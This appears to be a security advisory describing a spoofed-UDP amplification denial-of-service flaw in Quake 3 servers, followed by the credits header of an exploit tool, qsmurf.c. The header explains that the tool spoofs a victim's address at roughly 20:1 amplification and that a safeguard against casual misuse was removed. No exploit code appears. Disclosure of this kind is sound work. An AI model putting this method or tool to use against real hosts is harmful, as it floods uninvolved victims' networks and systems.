Quake 3 network play features contain a remotely exploitable denial of service vulnerability.
A hostile client program can be used by to generate a large number of forged client queries on behalf of a target user. The server's responses flood the target user, consuming the target system's network bandwidth and CPU cycles.
It has been reported that other games suffer from similar issues. Additional amplification attacks may be possible through the usage of commands which return detailed information about the game status or server information. In some cases, packets larger than 500 bytes may be sent in response to a 50 byte spoofed UDP packet.

qsmurf.c
Written by Jamal Motsa (Haul@EFnet), based on qflood.c by Andy Gavin (_k3nny@EFnet, k@ETG)
Look at his original post for the original credits.
The anti-script kiddie file descriptor bug has been removed and the code was cleaned up a lot.
This works based on the fact that when a Quake client connects to a Quake server, much more data
is received by the client than is sent. This program will spoof connections from a target (source
IP Address) to NetQuake servers, which will reply to the target with lots of data with an
amplification rate approaching 20:1.
Greets to:
Sean Stanek (vulture@EFnet) for doing most of the code optimization.
SFS, WHHS, Marlboro, the Shao Lin
Lithium Node and channel regulars, TPC, X-Tommy, the defunct #BrainFreze Jeff, NEO, Kwizatz@RURC
Sang, zuez, dead-sexy.com and crew, #phear on EFnet, AY, Eric R. for providing me with DNS
And a big middle finger to:
BTA (for being quite possibly the worse Quake 3 clan in history)
anyone who packets EFnet servers
and finally, to whoever framed OJ
